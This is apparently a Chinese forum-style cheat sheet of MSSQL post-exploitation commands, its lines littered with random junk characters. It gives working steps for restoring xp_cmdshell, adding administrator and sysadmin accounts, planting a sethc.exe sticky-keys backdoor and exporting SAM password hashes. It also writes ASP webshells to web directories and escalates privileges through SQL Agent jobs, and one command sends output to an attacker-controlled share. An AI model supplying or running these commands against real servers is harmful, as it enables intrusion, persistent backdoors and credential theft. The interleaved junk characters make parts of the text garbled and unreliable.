1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
' S! ^! Z% O, @2 e- O恢复方法:查询分离器连接后,
/ E; b" \" L5 m: h第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int " w2 E' m# z$ c+ f I' S
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ; ]( ^! P+ s0 a% `
然后按F5键命令执行完毕$ \6 B; V( ~% {) {) T7 o) R3 I, T
8 |5 S& j4 j3 U" u5 ~" G# ?6 B3 k; e2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)1 p% L5 r1 G O& I6 H# v0 V/ L9 x
恢复方法:查询分离器连接后,
8 m, j% R G" V6 n$ z+ w0 L第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
! G4 x1 a( ~7 Z$ L' B* _* B2 s第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
+ W7 b2 i; w3 m( g4 C7 {$ i) I; a# j然后按F5键命令执行完毕
0 ^4 U# i6 Z1 O9 g* a
4 u- _ U3 [1 O$ V& c+ J1 `3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)9 X7 p8 a0 f2 J h# B" r
恢复方法:查询分离器连接后,% B% q$ Y X) U( {% N" f5 s
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
a) C5 W" f" s* u第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' g8 a5 {$ K6 O% W. g( p/ c- V
然后按F5键命令执行完毕2 x W- F! @, k7 E' k0 c6 y# @
- C3 s. C8 b P. M% K4 终极方法.+ o* ]8 f( k9 S+ f2 X0 g: E8 U
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:0 ?0 \+ f! p; w, `6 {
查询分离器连接后,
8 `( v9 e, \* X \. q: g- l2000servser系统:% Y0 ]# a2 k8 W, P
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add') n! [- t9 i6 Q4 b& \
& L7 P$ H7 h. l1 L/ P! U
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'8 s$ Z$ @- _/ Z8 m) m9 L& [
, }) I! P9 e+ h7 |6 `4 K
xp或2003server系统:) O1 P9 Y0 n: F- @
; e- t' _- R! Q7 C4 Q
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
: Q6 A* w" ?/ d( @0 X, M. _; @1 z6 o" I7 J8 Z, r9 l* G/ ^, R! b3 r
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'+ g6 h" S+ i) R
, ^' Q# r( ~" S5 m' E6 M
; H: a: b( t9 c, P0 m五个SHIFT
3 m& x/ g9 A2 k& _declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
3 V9 e# m) `+ ~6 |% Z' a- A
; j& S% ~8 e' Q/ ^ u2 v" Udeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
1 j, @2 ^) g4 _& P# f) A
( e/ P) _7 O5 Y( n2 o) T: Q/ axp_cmdshell执行命令另一种方法
5 M3 P% X/ p" z- mdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
1 g7 p# |# |; F! F- W( ~3 w! p4 L3 e& J, X! |7 M
判断存储扩展是否存在: t5 f* H. n! W! J9 W! x
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' o8 D1 K" M$ F5 @ ]/ J
返回结果为1就OK1 I* G* K8 d1 }% ^. ~) I
' E7 z# O/ z, E! P& J& \
: k: [) q" n: @; o2 \0 r上传xplog70.dll恢复xp_cmdshell语句:
& Q+ {' j% ?0 H4 {0 c! esp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
. l. n5 ^& y4 E# X8 m, v3 s+ \! T) `
否则上传xplog7.0.dll
5 U: f0 E1 I% Y3 HExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
- n j& X _5 _: D/ w' J6 S$ t1 B. f
: y- J2 y1 M. E9 x& k+ @3 B5 Q- K- B2 M( \5 S: T0 B' M9 G1 ?
, y% @! E7 {7 G) V) k Y6 z
首先开启沙盘模式:. _% B* {# I% b( @( _" V
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
# I: Q9 ?. P8 z5 ]2 [6 f+ G. K7 b" Q" ` d
然后利用jet.oledb执行系统命令- y: p& [/ P q, `
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
8 @7 j0 ^+ {& n8 Z9 L0 w, }5 M返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了% ~/ N' G& z |( e9 D9 ` T
: K* ]0 `) s9 g L' L! Z
. V" [$ e' B" H4 l" E; O, ~" L2 e6 C( P0 T5 ~( R
恢复过程sp_addextendedproc 如下:
) V; e, P7 z; L1 [$ O& R' k8 bcreate procedure sp_addextendedproc --- 1996/08/30 20:13
" W- T' e* X( r- j2 H" k% X; j' p@functname nvarchar(517),/* (owner.)name of function to call */ ) M7 S5 e% e- F5 u& f& s+ U1 t1 Y
@dllname varchar(255)/* name of DLL containing function */
) D, G/ b7 Y" ]5 ~as " P. _4 Q2 h0 z- U1 E: T, |4 N3 u
set implicit_transactions off
" {, ~+ M# M& F" W8 S$ kif @@trancount > 0
" v; A# A. E# m3 qbegin
& b- o; z9 T, J9 L" o" h3 n. jraiserror(15002,-1,-1,'sp_addextendedproc') " f/ J* V; c+ _) R
return (1) & {7 L' z! z n% K" ?5 g
end 9 ^ ]. i) r4 u
dbcc addextendedproc( @functname, @dllname) ( f- h) w" T* `3 ^; G' V
return (0) -- sp_addextendedproc
6 {3 \) W& J4 B# RGO
3 J/ F# E. T6 ?% I6 s9 O+ ?& _# E7 n5 J+ b
9 u- s, B& A4 [% G
" X$ K& y h" K3 V' D7 [导出管理员密码文件4 j/ f6 `' B4 X- L. j4 D+ g
sa默认可以读sam键.应该。! [( D, C3 V- K, C! M
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
. M# P$ _% u9 k" \0 M% Z2 ^net user administrator test* Z0 \' L1 c2 e: H) r# p5 `
用administrator登陆.
3 C Q: e& T/ ]- h( H- o用完机器后$ V7 w; |8 J- {
reg import c:\test.reg
7 M. n7 Z) l& G) `& `3 I. H6 l根本不用克隆.
8 I; I1 D( F$ I. _: F2 b% R找到对应的sid. $ ~6 C8 J5 \/ X, v% W, C( B6 {1 s5 a
6 i, z. b' M+ i/ U& Z) y' J' ^0 u( D/ N
. P% O( O, T( p/ |* I
恢复所有存储过程0 v$ j0 ?7 G! Z* {7 A1 y
use master
3 d' T0 j7 n1 M' `exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 8 S- k$ i9 d& _' O' X: y( L# C
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
" _( V }4 w8 h- T) m" B5 O) Xexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
! o& X5 Q* u% L5 E7 ]9 t U9 eexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' + b/ K* }/ h8 g( N* _2 k- f
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' : f! W' j- U6 N( x3 N
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
/ B3 M, d0 n3 g' @: rexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 7 ^& A. q4 D2 z' ?; m, U- p: X: h
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
& j) { I- e f( _6 C( Q8 [) }+ B7 B2 Mexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
0 n6 D4 }1 f$ C$ |; G8 texec sp_addextendedproc sp_OAMethod,'odsole70.dll' 2 J3 N/ ^/ z$ ^+ ]: h4 @
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' . J6 ~1 A2 t7 D, J4 t# G7 c( o
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
: l0 m) g7 S$ f7 f; @! p+ c5 |exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
" ]) d: B: k- [! ^5 Nexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 2 G8 r* }# j' e7 {
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
$ X$ u( a, R* v/ m' ?6 I, yexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' . c' a" N% {. b- `% J
exec sp_addextendedproc xp_regread,'xpstar.dll'
& N- C& B4 `; u. A0 Z: gexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
. U3 U( F% d! O% }! |exec sp_addextendedproc xp_regwrite,'xpstar.dll' ; y3 O2 ~% o$ {" U# h
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
% C4 n8 n, |* w, @# M8 R
& I9 ^9 U/ I0 d0 i0 a7 A- ^) s5 \/ G3 h
建立读文件的存储过程+ E; e% U: l( k- [$ P) j
Create proc sp_readTextFile @filename sysname
4 G" \& y) Z' l8 q$ p) Has( y3 ~6 S* p6 C6 g
3 }* X F* b4 `
begin
! @' W* v5 V1 a0 \: Q set nocount on 2 {) Q3 e; l0 o) \ ?. ?0 p" n% R' h1 h
Create table #tempfile (line varchar(8000))
/ m% H- d" W: z7 O3 z, f. ]) g exec ('bulk insert #tempfile from "' + @filename + '"')
6 P( p1 e0 E6 Y9 m select * from #tempfile
" G; x7 ]& r0 Q4 o. F( E drop table #tempfile
2 I8 |1 p8 k$ v! {5 f, IEnd9 D$ L) A7 F+ C8 K: z! x
: F2 k3 `9 T( l
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件' a/ K9 e$ c, |( X, g c
查看登录用户
8 ], O( W' Q' hSelect * from sysxlogins( L2 g7 M* K5 F
: M( f1 s* q. ^; d ~: ]
把文件内容读取到表中. A* ~1 k, S, f ?
BULK INSERT tmp from "c:\test.txt"4 h3 a1 X( r5 a- S* g
dElete from 表名 清理表里的内容; J- B0 g! S/ Q r! ?$ F0 [% X9 q
create table b_test(fn nvarchar(4000));建一个表,字段为fn& I& t1 n8 H z$ k( `3 L1 B0 L- P
2 F6 M5 U D8 P' _3 v0 F3 i+ L" `0 `4 |/ u& a- s9 @. E; p. T/ T) a! o# Z1 ~
加sa用户
/ s1 j! x# m2 G% {exec master.dbo.sp_addlogin user,pass;: I. a3 g; i9 v" F
exec master.dbo.sp_addsrvrolemember user,sysadmin
/ B; z. F0 U% r5 J; X* j
# @/ T& U4 z& ~. m* l9 K
) I7 ~7 V G& v8 b& m+ V! P6 y. w( @4 P7 d
读文件代码( W8 n( t7 s" B$ {* v
declare @o int, @f int, @t int, @ret int: H7 y! A! Z5 S+ B# Z
declare @line varchar(8000)
# J! [; W4 H) H* w" a" iexec sp_oacreate 'scripting.filesystemobject', @o out2 J, x2 t& @9 Y" u
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1' m1 G- s; @7 l3 }- d$ a2 |
exec @ret = sp_oamethod @f, 'readline', @line out
. H) O! R2 x2 J2 o( ]) Wwhile( @ret = 0 )
, s, Z# G& c' g& L4 G- f( ]' L6 Vbegin! C7 U% M/ ?1 p
print @line
2 U% S, @" ~' w5 f0 Wexec @ret = sp_oamethod @f, 'readline', @line out
3 h' m8 W4 A0 K, L0 Zend' u3 j& J! ]! q$ F/ G
/ h) k+ e4 k9 A4 B& B! R* x9 ^8 c& i1 ^! Q
写文件代码:
, V$ B: h3 I! K) V- E' tdeclare @o int, @f int, @t int, @ret int
- {- ^" _0 P$ o% g4 }* Yexec sp_oacreate 'scripting.filesystemobject', @o out2 e4 ~- A3 ^7 `
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 14 I( h, O. u/ g
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
; ^) w# i* j, H. S, j+ n9 ]/ I6 G/ h/ [' Y$ A9 j
% O. f4 w& |) f G4 f' d添加lake2 shell
* J4 C" Q; R* |" G+ |* Asp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'. \& I# Q0 f7 M/ L
sp_dropextendedproc xp_lake2
& X; `9 F5 k. s" O5 T. A6 [EXEC xp_lake2 'net user', O+ |5 n7 a6 {/ A) S8 b4 x
; }3 m* G, Y3 s* Y
: Q! `* ^* E/ Z得到硬盘文件信息 % ?& H# y: y: R# F2 |3 B
--参数说明:目录名,目录深度,是否显示文件
2 @$ R" o1 g0 [' C* U+ @execute master..xp_dirtree 'c:' R; l& [- q% T0 e. @# H* B3 q
execute master..xp_dirtree 'c:',1
6 g. {! W, ]. l' ]6 B# ^: E, B7 mexecute master..xp_dirtree 'c:',1,1 . \3 m+ q6 `/ R
: v* B. m1 c3 h% n# ~6 e
8 ?0 I7 N+ a6 p: t! u读serv-u配置信息
5 ] o5 x h. I$ @" g1 O2 Cexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
, \; E# _9 a0 j- P" I6 o- K: @exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'. I% T2 `6 E; g3 @! U* }, j$ \
) e3 F, V G% T9 Y, b
通过xp_regwrite写SHIFT后门
9 d* W9 x! I! h* N1 ]# d, ~1 q% y+ Kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
% p- y9 ~' S5 Z9 z+ `1 D! y1 Q
5 g# ]9 s) ~0 n0 |7 c* K9 C: L" w+ M4 U9 u% L! ^2 U+ W
3 C- T. t& N- B+ Q% i. Z7 k t找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';* I( I7 l# u- _
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
( y- [3 J i8 k2 W; d/ j! P5 t9 p) V
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
+ ]& u0 H* V3 n
7 w! Z- ]" U" V
; k/ h: F: d/ Z. u* z! J
" o1 l- R* i: S$ [9 j' msql server 2005下开启xp_cmdshell的办法
: Q ` M% F+ }4 _2 k. i
9 E- {: D/ {. r WEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
y! J) X6 O0 ?- J' d' O6 k q- X9 B- }* X" `+ X$ J2 x- B* ~
SQL2005开启'OPENROWSET'支持的方法:
/ j) `$ u0 ^" o4 N
/ N. T9 }; K2 C: Zexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
5 x( V$ G# _) l. X6 }; ~: E* X0 \2 u3 D
SQL2005开启'sp_oacreate'支持的方法:
5 j) e% @% l2 M: M2 W* T% N2 B: b1 o8 C" H, G
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
! t* Y9 @0 f* P/ w z, |! [
* p: A2 X1 S, J5 X9 W" w1 y& r/ t
# E! v- {8 }1 F- F& }% T6 V6 J3 |$ m8 {- P2 {6 N2 s* O0 z
' f4 m/ s2 {2 I! V( ^& E, _
) `' Z3 N* N4 ~$ Q- U7 B
' c8 K/ {, j0 X! i) q; |& i: m4 K: b; s: U) L
! M J; h6 ]9 l) M
9 a! V) `/ B: U" `8 Q# S' X- s& r# I2 R
8 z+ [1 w& E/ S' e* J# ^- V
0 O9 w3 g; ^3 g: e' h5 |; o
1 h; ^+ e G( e" {: a' d+ L1 V1 ?- R0 ?6 S
* G0 I; N# w* p* w8 C
. V$ k% \: b2 N
. [2 J* y8 S6 C% M5 _
4 V3 F7 I3 a+ ]# z/ T3 E0 R( v
2 k V% ?& S% ?' N8 p$ C/ o: N' i! K2 Q, }' h( j- A7 k, _9 b
$ W& y! u/ { w; Y
# |' b: W' ]- k9 s i
- q& z- t5 g6 K6 S4 w3 A0 p2 g" P& q
0 S8 |: H/ ?/ u" h6 J2 H! ?以下方面不知道能不能成功暂且留下研究哈:4 Y% B6 r. d7 p2 T7 b& ~
4) G2 a6 r! {! D6 z+ A
use msdb; --这儿不要是master哟
$ r3 M8 Z& r1 [, V0 I# Aexec sp_add_job @job_name= czy82 ;7 |0 S1 d: \9 j- [& P
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
6 t: ` X3 a" a% ]! n' _5 ]exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
* W6 s% n+ V3 Fexec sp_start_job @job_name= czy82 ;* C0 ~( {" Z' |
9 h+ q+ d# I8 _; V: v! c
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以" D) W, ~ [& C1 F: g& e
执行tsql语句了.9 Y% d; a0 B. w( U/ M
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
# G' a9 u5 N' E1 V! q第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
/ l) {# p6 b x9 h; [2 Ynet start SQLSERVERAGENT! v7 Q( u8 ]9 {: [
# D# I. \/ m+ ]' |8 l" O& W# ~
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
5 [! `3 R, _- E4 r" E( MUSE msdb. y y( e$ m( v' P
EXEC sp_add_job @job_name = GetSystemOnSQL ,
9 |2 W" |! S" W/ r' B. E/ L1 j' n@enabled = 1,
+ l! x. a: B; G9 M' o& O2 r@description = This will give a low privileged user access to
$ l( k9 a% u- O( h- Z1 z$ e: s( ^xp_cmdshell ,/ z' q K) Q' W% Y6 y, Y0 e5 v
@delete_level = 19 ^5 j6 l$ S0 G7 o2 G. M; o* q0 q
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,( v( e3 [; s! x) H! \+ R
@step_name = Exec my sql ," ^- E! q+ T ]( D' V
@subsystem = TSQL ,
7 W$ Q' |: t* W! _! u; j@command = exec master..xp_execresultset N select exec
# T z3 R) h4 I& s" W3 s Cmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 2 O, y; I; n& W6 O7 F& B! l) I5 g
EXEC sp_add_jobserver @job_name = GetSystemOnSQL , k% O4 D! K+ l
@server_name = 你的SQL的服务器名
- s, I0 }3 ~- @0 J0 `EXEC sp_start_job @job_name = GetSystemOnSQL
& z2 F8 M* y" r4 a' @: P: X( `' @, u- ~* U* h1 C* \0 S' y
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以" v1 }. J2 k- p7 Y: v
才让我们可以以public执行xp_cmdshell
8 R( E8 D# p6 K# g$ @; o0 H& [5 K7 z8 u- ]3 I' I/ v
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
' b0 i% j* q, G$ c% W7 V在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968" r% H/ p: u" [, |& y8 V
6 \0 p2 _0 n1 x0 z; i
USE msdb
f' [3 V( L+ B0 n5 A" \6 DEXEC sp_add_job @job_name = ArbitraryFilecreate ,6 g0 C; P$ J9 A+ J S
@enabled = 1,/ y6 j0 z5 p( Z- r3 [7 P# u
@description = This will create a file called c:\sqlafc123.txt ,4 [8 ?8 A L/ i0 P6 T. U) {
@delete_level = 1
. z% ?2 T# P+ V+ y' [EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
) Z" d0 y( e4 z' D* {! O5 A \; E5 Q@step_name = SQLAFC ,$ X7 q' z3 |0 S' B0 `
@subsystem = TSQL ,
- b) ~! b! A: p7 i@command = select hello, this file was created by the SQL Agent. ,! m2 W" W. _% e2 A
@output_file_name = c:\sqlafc123.txt - n- f/ r7 M w* Q3 k- b0 |! S
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
5 u) r/ i3 Z- }+ f! Z4 t@server_name = SERVER_NAME 7 e# d+ l0 W+ }0 y9 G
EXEC sp_start_job @job_name = ArbitraryFilecreate
% R8 J8 N% V* p# {3 c
/ U2 N R; K1 V N7 M2 j6 X如果subsystem选的是:tsql,在生成的文件的头部有如下内容 T" d# _8 b4 Z9 T4 [
$ D/ f4 ]# b/ Z4 H% d3 h" Q L# l0 m% X
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19" i. T: H3 C1 g; K- \% ?
----------------------------------------------1 A5 b0 [; n7 Y$ ^ [' F: F8 h
hello, this file was created by the SQL Agent.
& u: {! n, A* w, l/ u9 W
' l0 J" O4 H( |' ~! k. ](1 ?????)
. l7 d5 k1 \1 n% J+ g F; Z0 H$ y+ t" |
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
0 t9 Q% c+ D1 n4 u. J# i. O命令的vbs文件到启动目录!2 z @7 X& G3 s1 a
7 q2 y0 O) f$ i1 Q# j/ x; E
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
! l- x; x& l* L/ g) S# p( f关于sp_MScopyscriptfile 看下面的例子 I! H" L3 k. a5 @% [0 U1 T
declare @command varchar(100) & @3 A+ W- r, }
declare @scripfile varchar(200)
1 E# D4 u( \% i q1 V6 |# h/ pset concat_null_yields_null off # R- n r f4 l& D' H; {# o( t
select @command= dir c:\ > "\\attackerip\share\dir.txt" 6 h" l% N/ |) x+ i0 o
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 8 D9 ?* l/ k7 z; N
exec sp_MScopyscriptfile @scripfile ,
9 j- v" n) R- a/ O
7 ^4 }! l9 D* j/ b% X) _/ }7 \2 z这两个东东都还在测试试哟
" p7 ~/ \0 Z2 A6 C! D7 Y让MSSQL的public用户得到一个本机的web shell : X& M m' R P: s' P) s
: u2 N7 u, v1 g- `# c- osp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
& d# I* q" L7 o, K/ M/ _--@query= select <img src=vbscript:msgbox(now())>
& R6 N9 X- M2 D* M9 s--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> / P1 H1 q1 f6 @% D) I* n; B7 j# [7 V
@query= select
9 }* { M# N, H7 N1 G; \<%On Error Resume Next
/ d+ j- [# |8 I2 _$ B( p; I8 N4 f+ OSet oscript = Server.createObject("wscript.SHELL")
7 x" V% H- z9 ^Set oscriptNet = Server.createObject("wscript.NETWORK")
1 }. S6 `5 o8 Y" SSet oFileSys = Server.createObject("scripting.FileSystemObject") . Y* [! {) T8 A9 m/ f- |2 l4 C
szCMD = Request.Form(".CMD") / J) O% h% E n* Q
If (szCMD <>"")Then
- N" P* Z% H. kszTempFile = "C:\" & oFileSys.GetTempName() % A; L( z1 l; g& p% h! W( {! N
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 0 {4 L+ x9 P$ x/ \# k
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
$ _2 u& Y! T) M- ]' n |& S DEnd If %>
* [( R* h2 @2 [<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
* R+ t) U2 W7 o% V S<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
: e9 r% [! N; V/ R Z</FORM>< RE>
6 z0 A- Z/ k. [; \8 u! O. O<% If (IsObject(oFile))Then ; y/ {( ], {. a* W" u; `
On Error Resume Next , {3 ~/ Q z% A; Y
Response.Write Server.HTMLEncode(oFile.ReadAll)
/ h c7 {( \9 l, k0 y4 r2 QoFile.Close ' @; g3 k' A( B" T
Call oFileSys.deleteFile(szTempFile, True) O* @1 h! ^, G, Y3 {/ q
End If%> * d6 J) k& D- a9 }7 G
</BODY></HTML> : S! n8 d- {2 ^# u
|